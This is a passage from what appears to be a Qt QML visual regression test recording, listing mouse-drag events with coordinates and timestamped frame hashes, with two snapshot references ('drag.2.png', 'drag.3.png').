sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 160; y: -9 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2048 - hash: "cdab85736dfcc4424d42e0e96094eded" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 170; y: -9 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2064 - hash: "76d51ce9ad69560d983d8d86d50f7bd0" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 174; y: -9 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2080 - hash: "b5ada9e80f7f894aa141d5e3cfa5d69e" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 176; y: -9 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2096 - hash: "446d35fc7b9c0fe4bf0bfe0182f994f6" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 183; y: -5 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2112 - hash: "cced849d314835d43ebd93bcfe396c12" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 188; y: -3 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2128 - hash: "09696d700944c373f82d7c6f75d51c51" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 193; y: 0 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2144 - hash: "af56586db93c49637c9bfbb17cac9001" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 199; y: 2 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 203; y: 5 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2160 - hash: "66fc1b30b4037aad3975036faccbb7a7" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 209; y: 8 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2176 - hash: "3f443d9c89d6ba1b36ca9635bc32de1a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 217; y: 11 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2192 - hash: "df47db8cc7bb466b298749a6449d3d70" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 227; y: 15 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 234; y: 18 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 241; y: 20 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2208 - hash: "c1146fdc0e628d050442606096e52b10" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 252; y: 23 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2224 - hash: "22f44c43f300fd7ff2b4d87d93756178" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 272; y: 30 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2240 - hash: "bf11dc9a9679692abde5d116a169eecf" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 299; y: 38 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 329; y: 48 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2256 - hash: "e63f1960f342639ac412010ffcefb049" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 360; y: 57 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2272 - hash: "ae0228419ec9358025c3026a39abd671" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 392; y: 65 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2288 - hash: "6d2272e2bea21c280100ed8de5b95d4e" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 422; y: 72 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 451; y: 76 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2304 - hash: "1628c6fa5feabd90924452bc9f55054d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 476; y: 78 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2320 - hash: "f696791eb0a317b0efb69407616bec9f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 497; y: 78 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2336 - hash: "f696791eb0a317b0efb69407616bec9f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 513; y: 77 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 527; y: 76 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2352 - hash: "1628c6fa5feabd90924452bc9f55054d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 538; y: 75 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2368 - hash: "a5d3d247e22a2852a60fe07ab40345a5" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 548; y: 74 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2384 - hash: "a453fb6bcdd87f819782d8d8c46b56ee" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 556; y: 74 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 563; y: 75 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2400 - hash: "a5d3d247e22a2852a60fe07ab40345a5" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 570; y: 76 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2416 - hash: "1628c6fa5feabd90924452bc9f55054d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 576; y: 78 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2432 - hash: "f696791eb0a317b0efb69407616bec9f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 582; y: 78 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 585; y: 80 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2448 - hash: "8f061986df633c21dcad767ee857988c" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 589; y: 81 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2464 - hash: "2cc110a6fb800171d7d752693ede1e4e" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 592; y: 82 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2480 - hash: "319fc3053e02a8b161f33a79d9839bb1" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 595; y: 85 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 597; y: 89 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2496 - hash: "42915c8866746316cf1083a2d55410fb" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 601; y: 95 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2512 - hash: "5df34b3ae292de9a9cd8ff09347e7bd4" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 606; y: 103 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2528 - hash: "1f9bc3c955983ea85f568797cb4f7365" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 609; y: 113 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 613; y: 124 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2544 - hash: "3f156dc64a12c672874acf5456ef4a31" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 618; y: 136 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2560 - hash: "d4d9fe5b5f138e06a87039ebf8695d03" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 619; y: 142 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2576 - hash: "383fe813021ee2791930200b2f88a802" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 620; y: 148 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 622; y: 155 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2592 - hash: "a235544bd5e791dfa329bd0b87358bfa" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 625; y: 163 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2608 - hash: "a87497cf47db3209610b532efe7eb380" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 629; y: 174 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2624 - hash: "abe69b4e4b7508028226f9b73c38058a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 634; y: 194 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 642; y: 225 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2640 - hash: "51c72fa2fa4c8765d882fe65dc0d697d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 649; y: 260 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2656 - hash: "79da7ed21bd6fc16b7264d4403e763cc" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 655; y: 291 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2672 - hash: "b2828b6340a57fa45416469b23b7cef0" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 658; y: 316 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 659; y: 340 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2688 - hash: "64a5351f2d746b338c34c7ea9ba6e1fe" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 660; y: 370 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2704 - hash: "9eedb7a6875210084fd2ec95d3505512" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 661; y: 408 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2720 - hash: "b88eb8fa8a0cfc263dc7b655ddc29db0" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 661; y: 448 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2736 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 660; y: 487 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 659; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2752 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 658; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2768 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 658; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2784 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 658; y: 506 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 658; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2800 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 657; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2816 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 656; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2832 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 654; y: 506 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 652; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2848 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 651; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2864 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 650; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2880 - image: "drag.2.png" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 650; y: 506 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 648; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2896 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 647; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2912 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 646; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2928 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 645; y: 506 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 644; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2944 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 643; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2960 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 642; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2976 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 641; y: 506 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 640; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2992 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 640; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3008 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 639; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3024 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 639; y: 506 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 638; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3040 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 636; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3056 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 625; y: 505 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3072 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 611; y: 505 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3088 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 582; y: 506 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 546; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3104 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 505; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3120 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 460; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3136 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 408; y: 506 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 354; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3152 - hash: "c2997fdde10812f02791bfed5f158ac3" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 300; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3168 - hash: "23a6dfbd09e5b44d04f252cedaeb68af" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 250; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3184 - hash: "f74422989711f86a0840ffc98e8a29e9" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 206; y: 506 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 163; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3200 - hash: "fa922246d254a7c46d2d1d6ec91a2b02" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 140; y: 506 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 122; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3216 - hash: "ef216cb8c2bf58db7d58bd8a2e4eb38d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 101; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3232 - hash: "a383228d22e64b8a7758c959288eaca8" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 64; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3248 - hash: "636ca2a8e91c49ef6c8b1c93b830f345" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 36; y: 506 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 16; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3264 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -1; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3280 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3296 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 506 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3312 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3328 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3344 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 506 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3360 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3376 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 505 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3392 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 504 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 504 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3408 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 505 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3424 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3440 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3456 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3472 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3488 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 506 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3504 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3520 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3536 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 506 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3552 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Frame { - msec: 3568 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3584 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 506 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3600 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3616 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Frame { - msec: 3632 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 506 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 491 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3648 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 428 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3664 - hash: "9fa1e3686467f28cb013fe093dab388c" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 342 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3680 - hash: "7ef97d10862f80d53e0b3b4446661deb" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 264 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 203 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3696 - hash: "c679866b3965b7b5f48b843d6efccf42" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 160 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3712 - hash: "de4bd9ad3cbb9bb19bf75f871b044072" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 144 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3728 - hash: "c5349bbddc03edd5ee3537e2a738f1ad" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 136 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 132 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3744 - hash: "bcbe9ec2687a6030385f08d3dc17becf" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 130 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3760 - hash: "3ad767f63eaccb9e64a9f704900f2530" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 129 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3776 - hash: "421a1ffde15fda0e7846bc095ed2ea37" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 128 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 128 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3792 - hash: "55c260da304a6b1119af83f6a4efcff0" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 123 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3808 - hash: "f231cc521db801b4ec71248812e12db8" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 104 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3824 - hash: "b489b6b604e7f7699cac9e42d0725323" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 68 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 35 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3840 - image: "drag.3.png" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 13 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3856 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 2 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3872 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: -6 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: -12 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3888 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: -25 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3904 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: -46 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3920 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: -65 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: -70 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3936 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: -74 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3952 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: -76 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3968 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: -76 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3984 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: -76 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4000 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: -77 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4016 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: -78 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4032 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 4048 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: -78 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4064 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 4080 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 4096 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: -77 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4112 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 4128 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 4144 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: -78 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4160 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -3; y: -84 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4176 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - 